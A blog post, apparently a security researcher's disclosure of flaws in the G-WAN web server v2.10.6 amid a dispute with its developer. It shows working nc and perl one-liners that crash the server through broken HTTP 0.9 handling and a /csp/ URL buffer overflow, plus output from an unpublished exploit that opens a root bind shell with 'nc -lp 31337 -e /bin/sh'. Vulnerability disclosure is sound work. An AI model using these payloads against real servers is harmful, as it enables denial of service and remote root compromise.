Intermezzo about stability and compliance (part 2)

The serious problems

I reported the problems to the G-WAN developer, who began by very kindly thanking me for my effort and asked for the details. After of course sharing all the findings, he returns after an hour claiming he can’t for his life understand what I mean. Since there is no archive of old versions he will now pretend like it never happened. I find this reaction very sad.

The author claims the problems were solved independently a couple of days before being reported. This does not of course change the fact the v2.10.6 version and possibly others were affected, which is something the author continues to refuse to acknowledge.

I would encourage people to keep their current versions in some archive to check the following out if they are interested.

Below is on an updated Arch Linux 3.0.6, 64-bit, using G-WAN v2.10.6 from October 6. Versions available from this afternoon should be patched by the vendor.

Denial of service

The HTTP 0.9 implementation is broken and was just probably never really tested. For example a simple request for a non existent file will result in a never ending loop of HTML bodies.

[root@wolf test]#  echo -e "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n" | nc localhost 80 | more
404 Not Found</pre>
<h1>Not Found</h1>
The requested URL was not found on this server.

404 Not Found

<h1>Not Found</h1>
The requested URL was not found on this server.

404 Not Found

<h1>Not Found</h1>
The requested URL was not found on this server.

404 Not Found

Repeating this and interrupting the loop results in the following

[root@wolf test]# while :; do echo -e "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n" | timeout 0.01 nc localhost 80 ; done

G-WAN 2.10.6 (pid:3948)

[New LWP 3951]

Program received signal SIGPIPE, Broken pipe.
[Switching to LWP 3951]
0xf7ffd430 in __kernel_vsyscall ()

Since the daemon is being kept alive by a watchdog, you have to do this three times in a shorter period than three seconds to make the watchdog give up.

Remote exploitable buffer overflow

A clean buffer overflow in the routines for “/csp/” while decoding the URL.

[root@wolf test]# perl -e "print 'GET /csp/','A'x1200,\" HTTP/1.0\r\n\r\n\"" | nc localhost 80
G-WAN 2.10.6 (pid:9167)

[New LWP 9169]

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 9169]
0x41414141 in ?? ()
(gdb) i r
eax            0x31     49
ecx            0x81f2298        136258200
edx            0x0      0
ebx            0x41414141       1094795585
esp            0xf7da51f0       0xf7da51f0
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141
eflags         0x10202  [ IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99

This will result in remote root access.

I have written an exploit as proof of concept which does also bypass ASLR by brute forcing the offset.

[root@wolf exploit]# ./gwan-sploit 80
(trying 0xf75bffc0)
(trying 0xf75fffc0)
(trying 0xf75befc0)
(trying 0xf75fefc0)
(trying 0xf75bdfc0)
[... stops after a few minutes]
G-WAN 2.10.6 (pid:13456)

process 13456 is executing new program: /bin/bash
warning: Selected architecture i386:x86-64 is not compatible with reported target architecture i386
Architecture of file not recognized.
(gdb) cont
[root@wolf exploit]# ps auxww
root     13456  0.3  0.0  13528  1424 pts/0    S+   23:20   0:00 //bin/sh -ccc nc -lp 31337 -e /bin//sh;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@?Q???Q???P??
[root@wolf exploit]# nc localhost 31337
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
//bin/sh: $'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\304Q\332\367\274Q\332\367\003P\332\367': command not found
[Inferior 1 (process 13456) exited with code 0177]

I will wait for some more abuse by the vendor before publishing this into the wild by respect for the G-WAN users.


2 thoughts on “Intermezzo about stability and compliance (part 2)”

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s